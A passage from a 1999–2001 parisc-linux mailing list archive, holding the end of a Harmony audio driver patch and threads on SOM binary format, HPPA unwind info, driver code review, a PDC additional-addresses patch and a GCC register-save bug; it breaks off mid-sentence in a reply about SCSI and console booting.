+	DBGP("unimplemented ioctl 0x%x\n", cmd);
+	return -EINVAL;
+}
+static int harmony_audio_mmap(struct file *file, struct vm_area_struct *vma)
+{
+	printk(KERN_ERR "harmony: mmap\n");
+	return -ENODEV;
+}
+
+static void harmony_interrupt(int irq, void *dev, struct pt_regs *regs)
+{
+	u32 dstatus,pcuradd;
+	struct harmony_hpa * hpa;
+	int i, buf_to_free = 0, curbuf = MAX_BUFS;
+
+	/* Setup the hpa */
+
+	hpa = ((struct harmony_dev *)dev)->hpa;
+	printk(KERN_INFO "Interrupt\n");
+	
+	/* Read dstatus and pcuradd (the current address) */
+	dstatus = gsc_readl(&hpa->dstatus);
+	pcuradd = gsc_readl(&hpa->pcuradd);
+
+	/* Find the last filled buffer */
+	curbuf = MAX_BUFS;
+	for (i=MAX_BUFS-1;i>=0;i--) {
+		if (harmony_audio->buf_state[i]==HARMONY_BUF_FILLED) {
+			curbuf = i;
+		}
+	}
+	if (curbuf == MAX_BUFS) {
+		if (harmony_audio->done) {
+		} else {
+			printk("harmony_interrupt: ack, nothing to play yet.  No available buffer.\n");
+		}
+	}
+
+	/* Turn off interrupts */
+	harmony_disable_interrupts();
+	dstatus = gsc_readl(&hpa->dstatus);
+
+	/* Check if this is a request to get the next play buffer */
+	if(dstatus & DSTATUS_PN) {
+		gsc_writel(__pa(aligned_buf+(4096*curbuf)), &hpa->pnxtadd);
+		harmony_audio->outstanding_buffers++;
+
+		if (!harmony_audio->done) {
+
+			/* Set the volume; we probably don't need to do this. */
+		
+			/* Transition the playing buffer to empty*/
+
+			buf_to_free = -1;
+			for (i=0;i<MAX_BUFS;i++) {
+				if (harmony_audio->buf_state[i]==HARMONY_BUF_PLAYING) {
+					buf_to_free = i;
+				}
+			}
+			if (buf_to_free == -1) {
+			} else {
+				harmony_audio->buf_state[buf_to_free] = HARMONY_BUF_EMPTY;
+			}
+
+			/* Transition the buffers that are ready to be played to playing*/
+
+			buf_to_free = -1;
+
+			for (i=0;i<MAX_BUFS;i++) {
+				if (harmony_audio->buf_state[i]==HARMONY_BUF_READY_TO_PLAY) {
+					buf_to_free = i;
+				}
+			}
+			if (buf_to_free == -1) {
+			} else {
+				harmony_audio->buf_state[buf_to_free] = HARMONY_BUF_PLAYING;
+			}
+			harmony_audio->buf_state[curbuf] = HARMONY_BUF_READY_TO_PLAY;
+
+			harmony_enable_interrupts();
+		}
+	}
+
+	/* Check if we're being asked to fill in a recording buffer */
+	if(dstatus & DSTATUS_RN) {
+
+		/* Not supported yet */
+		gsc_writel(__pa(graveyard) , &hpa->rnxtadd);
+		harmony_audio->outstanding_buffers--;
+	}
+	if (harmony_audio->done && (!harmony_audio->outstanding_buffers)) {
+		harmony_disable_interrupts();	
+	}
+}
+
+
+
+int harmony_audio_init(struct harmony_dev * harmony_device)
+{
+   int ret;
+   int cntl;
+   
+   harmony_audio=harmony_device;
+   
+	/* Request that IRQ */
+	request_irq(harmony_audio->irq, &harmony_interrupt, 0 ,"harmony", (void *) harmony_audio);
+
+   	ret = register_sound_dsp(&harmony_audio_fops, -1);
+	if (ret < 0) {
+		printk("Harmony: Error registering\n");
+		return -EFAULT;
+	}
+	harmony_set_control(HARMONY_DF_8BIT_ULAW,HARMONY_SR_8KHZ,HARMONY_SS_STEREO);
+
+	/* Clear the buffers so you don't end up with crap in the buffers. */ 
+
+	harmony_silence(aligned_buf,0,4096*MAX_BUFS);
+
+	/* Make sure this makes it to cache */
+	CHECK_WBACK_INV(aligned_buf,4096*MAX_BUFS);
+
+
+	/* Wait around until we're out of control mode */
+	while((cntl = gsc_readl(&harmony_audio->hpa->cntl)) & CNTL_C);
+	return 0;
+	
+	
+}
+
+
+

--------------BBAF73974AD67657A56E9988--


From - Thu Nov 08 21:15:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Klein <mklein@dis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binfmt_som
Date: Sun, 30 May 1999 17:11:02 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <4.1.19990530170325.00cb08b0@garfield.dis.com>
References: <19990531010922.S1410@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619543 10501 80.91.229.3 (22 Nov 2014 01:25:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:43 +0000 (UTC)
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
Original-X-From: mklein@dis.com  Sun May 30 20:16:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA05821
	for <parisc-linux@puffin.external.hp.com>; Sun, 30 May 1999 20:16:23 -0600
Original-Received: (qmail 12788 invoked by uid 15267); 31 May 1999 02:15:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12769 invoked from network); 31 May 1999 02:15:42 -0000
Original-Received: from garfield.dis.com (199.4.97.30)
  by mailserv2.iuinc.com with SMTP; 31 May 1999 02:15:42 -0000
Original-Received: from garfield (199.4.97.30) by garfield.dis.com
 (EMWAC SMTPRS 0.81) with SMTP id <B0000027622@garfield.dis.com>;
 Sun, 30 May 1999 17:11:04 -0700
X-Sender: mark@garfield.dis.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
In-Reply-To: <19990531010922.S1410@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9233

At 01:09 AM 5/31/99 +0200, Matthew Wilcox wrote:

>I have a question; what is `union name_pt' defined as?  

union name_pt {
                char        *n_name;
                unsigned int n_strx;
              };

Since the offsets into the string tables are "table relative", this 
is typically used to adjust the pointer in order to have it actually
point to the name referenced:

space.name.n_name = space.name.n_strx + som_header.space_strings_location;

Now space.name.n_name refers to the actual name instead of the index.

--
Mark Klein                                 DIS International, Ltd.
http://www.dis.com                         415-892-8400
PGP Public Key Available			


From - Thu Nov 08 21:15:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Build hppa unwind info for more than .text
Date: Wed, 17 Jan 2001 10:14:18 +1100 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101170918130.4272-100000@front.linuxcare.com.au>
References: <200101161820.KAA24567@elmo.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619543 10503 80.91.229.3 (22 Nov 2014 01:25:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:43 +0000 (UTC)
Cc: binutils@sourceware.cygnus.com, parisc-linux@puffin.external.hp.com
To: Nick Clifton <nickc@redhat.com>
Original-X-From: alan@linuxcare.com.au  Tue Jan 16 16:11:00 2001
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA10789
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 16:10:59 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA27829;
	Wed, 17 Jan 2001 10:14:18 +1100
In-Reply-To: <200101161820.KAA24567@elmo.cygnus.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9234

On Tue, 16 Jan 2001, Nick Clifton wrote:

> : -  if (now_seg != text_section)
> : +  if ((bfd_get_section_flags (stdoutput, now_seg)
> : +       & (SEC_ALLOC | SEC_LOAD | SEC_READONLY))
> : +      != (SEC_ALLOC | SEC_LOAD | SEC_READONLY))
> :      return;
> 
> Won't this create unwind info for read only data sections ?

Only if the assembler sees

 .proc
 .callinfo
 .entry

 function body

 .exit
 .procend

You're unlikely to get unwanted unwind info.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:15:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Lasi harmony driver with mixer
Date: Tue, 16 Jan 2001 23:18:23 +0000
Lines: 45
Approved: news@gmane.org
Message-ID: <20010116231823.K20275@parcelfarce.linux.theplanet.co.uk>
References: <3A64D26B.B99BAE70@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619543 10507 80.91.229.3 (22 Nov 2014 01:25:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthieu Delahaye <delahaym@esiee.fr>
Original-X-From: willy@www.linux.org.uk  Tue Jan 16 16:14:49 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA11125
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 16:14:48 -0700
Original-Received: (qmail 25473 invoked by uid 15267); 16 Jan 2001 23:18:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25449 invoked from network); 16 Jan 2001 23:18:30 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 23:18:30 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14IfMt-00014b-00; Tue, 16 Jan 2001 23:18:23 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A64D26B.B99BAE70@esiee.fr>; from delahaym@esiee.fr on Tue, Jan 16, 2001 at 11:59:56PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9235


Hi matthieu, i have a few comments.

On Tue, Jan 16, 2001 at 11:59:56PM +0100, Matthieu Delahaye wrote:
> +Bugs:
> +
> +1. Doesn't work on 715/old
> +
> +This driver doesn't work on 715/old machines, which include the 715/75.  The
> +chip used for this is technically called 'Vivace', which is identical to 
> +Harmony.  Should be easy to fix.  It has something to do with the way it is
> +reported by the inventory code.  The HPA is not that of Lasi or ASP so the
> +interrupts aren't registered properly.

afair, prumpf had his harmony driver working on the 715/scorpio.  perhaps
by looking at his source you could see what is missing?

> +int harmony_mixer_ioctl(struct inode * inode, struct file * file, unsigned int cmd, unsigned long arg)
> +{
> +  int val;
> +  int ret;
[...]

it'd be nice if you could rformat this to follow CodingStyle.

> +static struct file_operations harmony_mixer_fops =
> +{
> +	owner:	THIS_MODULE,
> +	llseek: NULL,
> +	read:   NULL,
> +	write:	NULL,
> +	poll: 	NULL,
> +	ioctl: 	harmony_mixer_ioctl,
> +	mmap:	NULL,
> +	open: 	NULL,
> +	release:NULL,
> +};

Don't initialise unused entries to NULL.  That's the point of using
the new syntax for struct initialisation -- that we don't need to list
unused ones.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Clifton <nickc@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Build hppa unwind info for more than .text
Date: Tue, 16 Jan 2001 15:28:23 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <200101162328.PAA11178@elmo.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619544 10510 80.91.229.3 (22 Nov 2014 01:25:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:44 +0000 (UTC)
Cc: binutils@sourceware.cygnus.com, parisc-linux@puffin.external.hp.com
To: alan@linuxcare.com.au
Original-X-From: nickc@redhat.com  Tue Jan 16 16:24:43 2001
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA11576
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 16:24:42 -0700
Original-Received: from elmo.cygnus.com (elmo.cygnus.com [205.180.230.137])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id PAA11980;
	Tue, 16 Jan 2001 15:28:23 -0800 (PST)
Original-Received: (nickc@localhost) by elmo.cygnus.com (8.9.3/8.6.4) id PAA11178; Tue, 16 Jan 2001 15:28:23 -0800
X-Authentication-Warning: elmo.cygnus.com: nickc set sender to nickc@redhat.com using -f
Xref: news.gmane.org gmane.linux.ports.parisc:9236

Hi Alan,

: > Won't this create unwind info for read only data sections ?
: 
: Only if the assembler sees
: 
:  .proc
:  .callinfo
:  .entry
: 
:  function body
: 
:  .exit
:  .procend
: 
: You're unlikely to get unwanted unwind info.

OK - just checking.

Cheers
	Nick


From - Thu Nov 08 21:15:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <xavier.debacker@esiee.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PDC Additional Addresses patch
Date: Wed, 17 Jan 2001 00:52:08 +0100
Organization: ESIEE
Lines: 116
Approved: news@gmane.org
Message-ID: <3A64DEA8.10F76F58@esiee.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------CB9673829DD973DAA3527F9A"
X-Trace: ger.gmane.org 1416619544 10514 80.91.229.3 (22 Nov 2014 01:25:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:44 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: rbradetich@uswest.net
Original-X-From: xavier.debacker@esiee.net  Tue Jan 16 16:48:28 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA11933
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 16:48:28 -0700
Original-Received: (qmail 7494 invoked by uid 15267); 16 Jan 2001 23:52:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7473 invoked from network); 16 Jan 2001 23:52:09 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 16 Jan 2001 23:52:09 -0000
Original-Received: from esiee.net (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 2B68DD1588; Wed, 17 Jan 2001 00:52:08 +0100 (CET)
Original-Sender: debackex@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9237

This is a multi-part message in MIME format.
--------------CB9673829DD973DAA3527F9A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

Here is a patch to make linux store additionnal addresses in struct
hp_device, so that drivers can access it cleanly.




Xavier Debacker
ESIEE Team
http://www.esiee.fr/puffin

--------------CB9673829DD973DAA3527F9A
Content-Type: text/plain; charset=us-ascii;
 name="addl_addr.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="addl_addr.patch"

diff -ru linux-orig/arch/parisc/kernel/inventory.c linux/arch/parisc/kernel/inventory.c
--- linux-orig/arch/parisc/kernel/inventory.c	Sun Dec 24 11:07:24 2000
+++ linux/arch/parisc/kernel/inventory.c	Sun Jan 14 03:55:20 2001
@@ -184,6 +184,7 @@
 	long status;
 	int num = 0;
 	long mod_index;
+	struct hp_device * d;
 
 	/* So the idea here is to simply try one SYSTEM_MAP call.  If 
 	   that one works, great, otherwise do it another way */
@@ -202,22 +203,29 @@
 							  mod_index);
 			if (status == PDC_RET_OK) {
 				num++;
-				register_module(module_result.mod_addr);
-#if 0
-
+				d = register_module(module_result.mod_addr);
+ /* #if 0 */
+				
 				/*
 				 * This code is here to show how
 				 * to get the additional address ranges
 				 * for a module.
 				 */
+				d->addl_addr[0] = module_result.mod_addr; /* copy of d->hpa */
 
 				if (module_result.add_addrs) {
 					long addr_index;
+					long max_addr_index;
 
 					printk("Module at %p has %d additional range(s):\n",
 						module_result.mod_addr,
 						module_result.add_addrs);
 
+					if (module_result.add_addrs >= MAX_HPDEV_ADDRS) {
+						printk("MAX_HPDEV_ADDRS is too low, please edit linux/include/asm/hardware.h, and set this value to %d\n", module_result.add_addrs + 1);
+						max_addr_index = MAX_HPDEV_ADDRS - 1;
+					} else  max_addr_index = module_result.add_addrs;	
+
 					for (addr_index = 1;
 						addr_index <= module_result.add_addrs;
 						addr_index++) {
@@ -231,6 +239,7 @@
 						    printk("index %d address %p\n",
 							    addr_index,
 							    addr_result.mod_addr);
+						    d->addl_addr[addr_index] = addr_result.mod_addr;
 						}
 						else {
 						    printk("Bad PDC_FIND_ADDRESS status return (%d) for index %d\n",status,addr_index);
@@ -238,7 +247,7 @@
 						}
 					}
 				}
-#endif
+/* #endif */
 			}
 		}
 	}
diff -ru linux-orig/include/asm-parisc/hardware.h linux/include/asm-parisc/hardware.h
--- linux-orig/include/asm-parisc/hardware.h	Wed Nov 15 23:32:07 2000
+++ linux/include/asm-parisc/hardware.h	Sun Jan 14 03:56:47 2001
@@ -9,6 +9,8 @@
 	char *name; 
 };
 
+#define MAX_HPDEV_ADDRS 4
+
 struct hp_device {
 	unsigned short hw_type:5;	/* HPHW_xxx */
 	unsigned short hversion;	/* HP-UX uses  hv_model:12 */
@@ -20,6 +22,8 @@
                                             reference */
 	unsigned int managed; /* this is if the device has a driver for it */
 	void * hpa;
+	/* infos returned by pdc calls (-------) */
+	unsigned long  addl_addr[MAX_HPDEV_ADDRS];
 
 #ifdef __LP64__
 	/* parms for pdc_pat_cell_module() call */
@@ -30,6 +34,7 @@
 	unsigned long  mod_info;	/* PAT specific - Misc Module info */
 	unsigned long  pmod_loc;	/* physical Module location */
 	unsigned long  mod_path;	/* Module HW path */
+
 #endif
 };

--------------CB9673829DD973DAA3527F9A--


From - Thu Nov 08 21:15:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <xavier.debacker@esiee.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PDC Additional Addresses patch
Date: Wed, 17 Jan 2001 01:38:30 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <3A64E986.856086A8@esiee.net>
References: <3A64DEA8.10F76F58@esiee.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619544 10517 80.91.229.3 (22 Nov 2014 01:25:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:44 +0000 (UTC)
To: rbradetich@uswest.net, parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: xavier.debacker@esiee.net  Tue Jan 16 17:34:53 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA12609
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 17:34:52 -0700
Original-Received: (qmail 3361 invoked by uid 15267); 17 Jan 2001 00:38:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3312 invoked from network); 17 Jan 2001 00:38:32 -0000
Original-Received: from smtp.chello.fr (HELO frmta00.chello.fr) (212.186.224.11)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 00:38:32 -0000
Original-Received: from esiee.net ([212.186.188.203]) by frmta00.chello.fr
          with ESMTP id <20010117003813.DREZ9196.frmta00@esiee.net>;
          Wed, 17 Jan 2001 01:38:13 +0100
X-Mailer: Mozilla 4.75 [fr] (Win98; U)
X-Accept-Language: fr
Xref: news.gmane.org gmane.linux.ports.parisc:9238

don't use that thing, it's an old one.

Xavier.

> Hi,
>
> Here is a patch to make linux store additionnal addresses in struct
> hp_device, so that drivers can access it cleanly.
>
> Xavier Debacker
> ESIEE Team
> http://www.esiee.fr/puffin
>


From - Thu Nov 08 21:15:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Tue, 16 Jan 2001 22:23:57 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200101170323.WAA08747@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0101161848180.4272-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619545 10519 80.91.229.3 (22 Nov 2014 01:25:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:45 +0000 (UTC)
Cc: rth@redhat.com, law@redhat.com, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Jan 16 20:20:30 2001
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id UAA14206
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 20:20:29 -0700
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id WAA08747;
	Tue, 16 Jan 2001 22:23:58 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0101161848180.4272-100000@front.linuxcare.com.au> from "Alan Modra" at Jan 16, 2001 08:28:12 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9239

> OK, here we go.

I am currently bootstrapping with the patch.  However, we still have the
prologue ICE warning which Kenner wants to turn into an abort:

./xgcc -B./ -B/usr/local/hppa1.1-hp-hpux10.20/bin/ -isystem /usr/local/hppa1.1-hp-hpux10.20/include -O2   -DIN_GCC    -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -isystem ./include  -fPIC -g1  -DIN_LIBGCC2 -D__GCC_FLOAT_NOT_NEEDED  -I. -I. -I../../gcc -I../../gcc/. -I../../gcc/config -I../../gcc/../include -DUSE_COLLECT2 -DL_floatditf -c ../../gcc/libgcc2.c -o libgcc/./_floatditf.o
../../gcc/libgcc2.c: In function `__floatditf':
../../gcc/libgcc2.c:1043: warning: ICE: would have deleted prologue/epilogue ins
n
(insn 372 370 373 (set (reg:SI 4 %r4 [94])
        (reg:SI 19 %r19)) -1 (nil)
    (nil))

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Oust HPPA PIC_OFFSET_TABLE_REGNUM_SAVED
Date: Tue, 16 Jan 2001 22:54:45 -0500 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <200101170354.WAA09043@hiauly1.hia.nrc.ca>
References: <200101170323.WAA08747@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619545 10521 80.91.229.3 (22 Nov 2014 01:25:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:45 +0000 (UTC)
Cc: alan@linuxcare.com.au, rth@redhat.com, law@redhat.com,
        gcc-patches@gcc.gnu.org, parisc-linux@puffin.external.hp.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Jan 16 20:51:16 2001
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id UAA14647
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 20:51:16 -0700
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id WAA09043;
	Tue, 16 Jan 2001 22:54:46 -0500 (EST)
In-Reply-To: <200101170323.WAA08747@hiauly1.hia.nrc.ca> from "John David Anglin" at Jan 16, 2001 10:23:57 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9240

> ../../gcc/libgcc2.c:1043: warning: ICE: would have deleted prologue/epilogue ins
> n
> (insn 372 370 373 (set (reg:SI 4 %r4 [94])
>         (reg:SI 19 %r19)) -1 (nil)
>     (nil))

The patch has problems:

__floatditf
	.PROC
	.CALLINFO FRAME=192,CALLS,SAVE_RP,ENTRY_GR=4
	.ENTRY
...
	stw %r4,-72(%r30)
...
	copy %r19,%r4
...
	bl _U_Qfadd,%r2
	stw %r19,-32(%r30)
	copy %r3,%r28
...
	ldw -212(%r30),%r2
	ldw -72(%r30),%r4
	ldw -68(%r30),%r3
	bv %r0(%r2)
	ldo -192(%r30),%r30
	.EXIT
	.PROCEND

The restoration of r19 after the call to _U_Qfadd is deleted in the flow2
pass.  When this happens, the prologue save to r4 isn't needed leading to
the ICE warning.  However, the restoration of r19 after the call shouldn't
be deleted because r19 is needed for the return (previous discussion).
We need a "use" in the return to prevent this.

The save of r19 to the stack looks extraneous but I think it is mandated
by the ABI.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Apollo 700 serie 9000/720 already problems !
Date: Tue, 16 Jan 2001 21:05:10 -0800
Lines: 237
Approved: news@gmane.org
Message-ID: <200101170505.VAA12466@milano.cup.hp.com>
References: <3A64CFD2.4BA1439@dot.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619545 10523 80.91.229.3 (22 Nov 2014 01:25:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, grundler@milano.cup.hp.com
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: grundler@cup.hp.com  Tue Jan 16 21:59:41 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA15341
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Jan 2001 21:59:40 -0700
Original-Received: (qmail 2283 invoked by uid 15267); 17 Jan 2001 05:03:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2274 invoked from network); 17 Jan 2001 05:03:23 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2001 05:03:23 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id E1DAB32; Tue, 16 Jan 2001 21:03:21 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA12466;
	Tue, 16 Jan 2001 21:05:13 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 16 Jan 2001 23:48:50 PST."
             <3A64CFD2.4BA1439@dot.at> 
Xref: news.gmane.org gmane.linux.ports.parisc:9241

Christoph Plattner wrote:
> The SCSI probing has a problem with the device ID0, a floppy on a
> SCSI adapter. Ok, forget it.

Don't forget. That should respond like a standard SCSI device.
Is the device known to work and the SCSI bus configuration ok?

> Warning: unable to open an initial console.

This is typically a problem with "console" parameter passed to Palo.
(boot loader).  Check the mail archive for comments about CONFIG_STI_CONSOLE
(and CONFIG_SERIAL_CONSOLE) and "console" parameter in
